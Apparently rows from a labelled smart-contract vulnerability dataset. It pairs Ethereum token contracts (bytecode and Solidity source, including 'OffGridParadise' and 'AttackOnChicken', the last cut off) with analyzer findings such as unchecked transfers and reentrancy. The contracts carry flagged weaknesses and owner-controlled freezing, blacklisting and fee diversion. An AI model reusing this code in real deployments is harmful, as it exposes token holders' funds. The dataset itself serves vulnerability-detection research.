0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063604bc783116100de578063a69df4b511610097578063b360cfbb11610071578063b360cfbb1461047a578063dd467064146104a0578063dd62ed3e146104bd578063fc0c546a146104eb5761018e565b8063a69df4b514610420578063a9059cbb14610428578063b21c5f6f146104545761018e565b8063604bc7831461035657806370a082311461037c5780638da5cb5b146103a257806395d89b41146103c6578063a153e708146103ce578063a457c2d7146103f45761018e565b8063355274ea1161014b5780634641257d116101255780634641257d146103035780634d41d2051461030b57806351c6590a14610331578063568914121461034e5761018e565b8063355274ea146102b057806339509351146102b857806342966c68146102e45761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd14610250578063234ea19c1461026a57806323b872dd14610272578063313ce567146102a8575b600080fd5b61019b6104f3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610589565b604080519115158252519081900360200190f35b6102586105a7565b60408051918252519081900360200190f35b6102586105ad565b61023c6004803603606081101561028857600080fd5b506001600160a01b038135811691602081013590911690604001356105b3565b61025861063a565b610258610640565b61023c600480360360408110156102ce57600080fd5b506001600160a01b038135169060200135610646565b610301600480360360208110156102fa57600080fd5b5035610694565b005b6103016106a1565b6102586004803603602081101561032157600080fd5b50356001600160a01b03166106d4565b6103016004803603602081101561034757600080fd5b50356106e6565b610258610814565b6102586004803603602081101561036c57600080fd5b50356001600160a01b031661081a565b6102586004803603602081101561039257600080fd5b50356001600160a01b0316610847565b6103aa610862565b604080516001600160a01b039092168252519081900360200190f35b61019b610871565b610258600480360360208110156103e457600080fd5b50356001600160a01b03166108d2565b61023c6004803603604081101561040a57600080fd5b506001600160a01b0381351690602001356108e4565b61030161094c565b61023c6004803603604081101561043e57600080fd5b506001600160a01b038135169060200135610a8d565b6102586004803603602081101561046a57600080fd5b50356001600160a01b0316610aa1565b6102586004803603602081101561049057600080fd5b50356001600160a01b0316610ab3565b610301600480360360208110156104b657600080fd5b5035610b25565b610258600480360360408110156104d357600080fd5b506001600160a01b0381358116916020013516610c35565b6103aa610c60565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d610596610c6f565b8484610c73565b5060015b92915050565b60025490565b60045481565b60006105c0848484610d5f565b610630846105cc610c6f565b61062b856040518060600160405280602881526020016114c6602891396001600160a01b038a1660009081526001602052604081209061060a610c6f565b6001600160a01b031681526020810191909152604001600020549190610ef7565b610c73565b5060019392505050565b60075490565b60085481565b600061059d610653610c6f565b8461062b8560016000610664610c6f565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610f8e565b61069e3382610fe8565b50565b6106aa336110d8565b336000908152600b602090815260408083204290819055600c90925290912062278d009091019055565b600b6020526000908152604090205481565b33600052600d6020526106f8336110d8565b600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d602081101561077c57600080fd5b5050336000908152600d60205260409020546107989082610f8e565b336000908152600d6020908152604080832093909355600b81528282204290819055600c90915291902062278d009091019055600e546107d89082610f8e565b600e5560408051828152905133917f9f1ec8c880f76798e7b793325d625e9b60e4082a553c98f42b6cda368dd60008919081900360200190a250565b600e5481565b6001600160a01b0381166000908152600b60205260408120548190610840904290611145565b9392505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b031681565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561057f5780601f106105545761010080835404028352916020019161057f565b600d6020526000908152604090205481565b600061059d6108f1610c6f565b8461062b8560405180606001604052806025815260200161157b602591396001600061091b610c6f565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610ef7565b336000908152600c60205260409020544210156109b0576040805162461bcd60e51b815260206004820152601a60248201527f4c6f636b696e672074696d65207374696c6c2072656d61696e73000000000000604482015290519081900360640190fd5b600354336000818152600d6020908152604080832054815163a9059cbb60e01b815260048101959095526024850152516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b158015610a0f57600080fd5b505af1158015610a23573d6000803e3d6000fd5b505050506040513d6020811015610a3957600080fd5b50610a459050336110d8565b336000908152600b60209081526040808320839055600c8252808320839055600d909152902054600e54610a7891611145565b600e55336000908152600d6020526040812055565b600061059d610a9a610c6f565b8484610d5f565b600c6020526000908152604090205481565b6001600160a01b0381166000908152600b60205260408120548190610ad9904290611145565b6004546001600160a01b0385166000908152600d602052604081205492935091610b1d9162278d0091610b17918691610b1191611187565b90611187565b906111e0565b949350505050565b336000908152600b602052604090205415610b715760405162461bcd60e51b81526004018080602001828103825260238152602001806115586023913960400191505060405180910390fd5b600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610bcb57600080fd5b505af1158015610bdf573d6000803e3d6000fd5b505050506040513d6020811015610bf557600080fd5b5050336000908152600b602090815260408083204290819055600c835281842062278d009091019055600d9091529020819055600e546107d89082610f8e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031681565b3390565b6001600160a01b038316610cb85760405162461bcd60e51b81526004018080602001828103825260248152602001806115346024913960400191505060405180910390fd5b6001600160a01b038216610cfd5760405162461bcd60e51b81526004018080602001828103825260228152602001806114366022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610da45760405162461bcd60e51b815260040180806020018281038252602581526020018061150f6025913960400191505060405180910390fd5b6001600160a01b038216610de95760405162461bcd60e51b81526004018080602001828103825260238152602001806113f16023913960400191505060405180910390fd5b6001600160a01b038216301415610e315760405162461bcd60e51b815260040180806020018281038252602781526020018061147e6027913960400191505060405180910390fd5b610e6e81604051806060016040528060268152602001611458602691396001600160a01b0386166000908152602081905260409020549190610ef7565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610e9d9082610f8e565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610f865760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f4b578181015183820152602001610f33565b50505050905090810190601f168015610f785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610840576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03821661102d5760405162461bcd60e51b81526004018080602001828103825260218152602001806114ee6021913960400191505060405180910390fd5b61106a81604051806060016040528060228152602001611414602291396001600160a01b0385166000908152602081905260409020549190610ef7565b6001600160a01b0383166000908152602081905260409020556002546110909082611145565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166000908152600b60205260408120546110fc904290611145565b6004546001600160a01b0384166000908152600d6020526040812054929350916111349162278d0091610b17918691610b1191611187565b90506111408382611222565b505050565b600061084083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef7565b600082611196575060006105a1565b828202828482816111a357fe5b04146108405760405162461bcd60e51b81526004018080602001828103825260218152602001806114a56021913960400191505060405180910390fd5b600061084083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611311565b6001600160a01b03821661127d576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b611288600082611376565b6002546112959082610f8e565b6002556001600160a01b0382166000908152602081905260409020546112bb9082610f8e565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600081836113605760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610f4b578181015183820152602001610f33565b50600083858161136c57fe5b0495945050505050565b6001600160a01b0382166113ec57600854611399826113936105a7565b90610f8e565b11156113ec576040805162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a2063617020657863656564656400000000000000604482015290519081900360640190fd5b505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220746f2074686520636f6e74726163742061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373796f75206861766520616c7265616479206c6f636b656420796f757220746f6b656e7345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122063eb61ad6994b36527c67392843da6207b6ca7de44f57210db6e08f62cf13fc864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,238
0x5ba2948083538208fca28de380b93cffb3b75fe0
//TheEthadams&#39;s Prod Ready. //https://rinkeby.etherscan.io/address/0x8d4665fe98968707da5042be347060e673da98f1#code pragma solidity ^0.4.22; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals uint256 public totalSupply = 500000000 * 10 ** uint256(decimals); //Address founder address public owner; //Address Development. address public development = 0x23556CF8E8997f723d48Ab113DAbed619E7a9786; //Start timestamp //End timestamp uint public startTime; uint public icoDays; uint public stopTime; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( string tokenName, string tokenSymbol ) public { totalSupply = totalSupply; // Update total supply. balanceOf[msg.sender] = 150000000 * 10 ** uint256(decimals); //Give this contract some token balances. balanceOf[this] = 350000000 * 10 ** uint256(decimals); //Set the name for display purposes name = tokenName; //Set the symbol for display purposes symbol = tokenSymbol; //Assign owner. owner = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } modifier onlyDeveloper() { require(msg.sender == development); _; } modifier onlyOwner { require(msg.sender == owner); _; } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { require(now >= stopTime);//Transfer only after ICO. _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; if(now < stopTime){ require(_from == owner);//Only owner can move the tokens before ICO is over. _transfer(_from, _to, _value); } else { _transfer(_from, _to, _value); } return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract OffGridParadise is TokenERC20 { uint256 public buyPrice; bool private isKilled; //Changed to true if the contract is killed. mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor ( string tokenName, string tokenSymbol ) TokenERC20(tokenName, tokenSymbol) public { //Initializes the timestamps startTime = now; isKilled = false; //This is the PRE-ICO price.Assuming the price of ethereum is $600per Ether. setPrice(13300); } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address(Number greater than Zero). require (balanceOf[_from] >= _value); // Check if the sender has enough //Use burn() instead require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyDeveloper public { require(target != development); frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } //Buy tokens from the contract by sending ethers. function buyTokens () payable public { require(isKilled == false); require(msg.sender != development); require(msg.sender != owner); uint amount = msg.value * buyPrice; owner.transfer(msg.value); _transfer(this, msg.sender, amount); } //Buy tokens from the contract by sending ethers(Fall Back Function). function () payable public { require(isKilled == false); require(msg.sender != development); require(msg.sender != owner); uint amount = msg.value * buyPrice; owner.transfer(msg.value); if(balanceOf[this] > amount){ _transfer(this, msg.sender, amount); } else { _transfer(owner,msg.sender,amount); } } function setPrice(uint256 newBuyingPrice) onlyOwner public { buyPrice = newBuyingPrice; } function setStopTime(uint icodays) onlyOwner public { //Minutes in a day is 1440 icoDays = icodays * 1 days;//Production Purposes. stopTime = startTime + icoDays; } //Transfer transferOwnership function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } //Stop the contract. function killContract() onlyOwner public { isKilled = true; } }
0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303ff5e73811461020e57806306fdde0314610235578063095ea7b3146102bf57806318160ddd146102f75780631c02708d1461030c57806323b872dd14610323578063313ce5671461034d57806342966c681461037857806370a082311461039057806378e97925146103b157806379cc6790146103c65780637b929c27146103ea5780638620410b1461041b5780638da5cb5b1461043057806391b7f5ed1461044557806394ad4f891461045d57806395d89b4114610472578063a9059cbb14610487578063b414d4b6146104ab578063c92501b7146104cc578063cae9ca51146104e4578063d0febe4c1461054d578063dd62ed3e14610555578063e724529c1461057c578063f2fde38b146105a2575b600c5460009060ff161561015b57600080fd5b600554600160a060020a031633141561017357600080fd5b600454600160a060020a031633141561018b57600080fd5b50600b546004546040513492830292600160a060020a039092169180156108fc02916000818181858888f193505050501580156101cc573d6000803e3d6000fd5b50306000908152600960205260409020548110156101f4576101ef3033836105c3565b61020b565b60045461020b90600160a060020a031633836105c3565b50005b34801561021a57600080fd5b506102236106db565b60408051918252519081900360200190f35b34801561024157600080fd5b5061024a6106e1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028457818101518382015260200161026c565b50505050905090810190601f1680156102b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cb57600080fd5b506102e3600160a060020a036004351660243561076f565b604080519115158252519081900360200190f35b34801561030357600080fd5b5061022361079c565b34801561031857600080fd5b506103216107a2565b005b34801561032f57600080fd5b506102e3600160a060020a03600435811690602435166044356107c8565b34801561035957600080fd5b5061036261086b565b6040805160ff9092168252519081900360200190f35b34801561038457600080fd5b506102e3600435610874565b34801561039c57600080fd5b50610223600160a060020a03600435166108ec565b3480156103bd57600080fd5b506102236108fe565b3480156103d257600080fd5b506102e3600160a060020a0360043516602435610904565b3480156103f657600080fd5b506103ff6109d5565b60408051600160a060020a039092168252519081900360200190f35b34801561042757600080fd5b506102236109e4565b34801561043c57600080fd5b506103ff6109ea565b34801561045157600080fd5b506103216004356109f9565b34801561046957600080fd5b50610223610a15565b34801561047e57600080fd5b5061024a610a1b565b34801561049357600080fd5b50610321600160a060020a0360043516602435610a75565b3480156104b757600080fd5b506102e3600160a060020a0360043516610a93565b3480156104d857600080fd5b50610321600435610aa8565b3480156104f057600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102e3948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610ad29650505050505050565b610321610beb565b34801561056157600080fd5b50610223600160a060020a0360043581169060243516610c7e565b34801561058857600080fd5b50610321600160a060020a03600435166024351515610c9b565b3480156105ae57600080fd5b50610321600160a060020a0360043516610d31565b600160a060020a03821615156105d857600080fd5b600160a060020a0383166000908152600960205260409020548111156105fd57600080fd5b600160a060020a0382166000908152600960205260409020548181011161062357600080fd5b600160a060020a0383166000908152600d602052604090205460ff161561064957600080fd5b600160a060020a0382166000908152600d602052604090205460ff161561066f57600080fd5b600160a060020a03808416600081815260096020908152604080832080548790039055938616808352918490208054860190558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505050565b60085481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107675780601f1061073c57610100808354040283529160200191610767565b820191906000526020600020905b81548152906001019060200180831161074a57829003601f168201915b505050505081565b336000908152600a60209081526040808320600160a060020a039590951683529390529190912055600190565b60035481565b600454600160a060020a031633146107b957600080fd5b600c805460ff19166001179055565b600160a060020a0383166000908152600a602090815260408083203384529091528120548211156107f857600080fd5b600160a060020a0384166000908152600a6020908152604080832033845290915290208054839003905560085442101561085657600454600160a060020a0385811691161461084657600080fd5b6108518484846105c3565b610861565b6108618484846105c3565b5060019392505050565b60025460ff1681565b3360009081526009602052604081205482111561089057600080fd5b3360008181526009602090815260409182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60096020526000908152604090205481565b60065481565b600160a060020a03821660009081526009602052604081205482111561092957600080fd5b600160a060020a0383166000908152600a6020908152604080832033845290915290205482111561095957600080fd5b600160a060020a038316600081815260096020908152604080832080548790039055600a825280832033845282529182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b600554600160a060020a031681565b600b5481565b600454600160a060020a031681565b600454600160a060020a03163314610a1057600080fd5b600b55565b60075481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107675780601f1061073c57610100808354040283529160200191610767565b600854421015610a8457600080fd5b610a8f3383836105c3565b5050565b600d6020526000908152604090205460ff1681565b600454600160a060020a03163314610abf57600080fd5b6201518002600781905560065401600855565b600083610adf818561076f565b15610be3576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610b77578181015183820152602001610b5f565b50505050905090810190601f168015610ba45780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610bc657600080fd5b505af1158015610bda573d6000803e3d6000fd5b50505050600191505b509392505050565b600c5460009060ff1615610bfe57600080fd5b600554600160a060020a0316331415610c1657600080fd5b600454600160a060020a0316331415610c2e57600080fd5b50600b546004546040513492830292600160a060020a039092169180156108fc02916000818181858888f19350505050158015610c6f573d6000803e3d6000fd5b50610c7b3033836105c3565b50565b600a60209081526000928352604080842090915290825290205481565b600554600160a060020a03163314610cb257600080fd5b600554600160a060020a0383811691161415610ccd57600080fd5b600160a060020a0382166000818152600d6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600454600160a060020a03163314610d4857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582017fa8fae9b7b00993c9e48b6ed9a8ec42e3a043bfcadb3eed882fd9d72cdbf210029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,239
0x9bf15196ef911bb0152f969a10191b20ae45973d
/* 雞攻擊之術 “Chicken attack, Watch your back Before it fades to black They might look harmless but they'll kick your non-chicken ass Go chicken go! Go chicken go! Now go, now fly You own the sky” https://t.me/attackonchicken */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AttackOnChicken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "AttackOnChicken"; string private constant _symbol = "AOC"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x1a7e118207F4fd282B584a08C0d0a99b051c7e08); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function newV2Pair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); 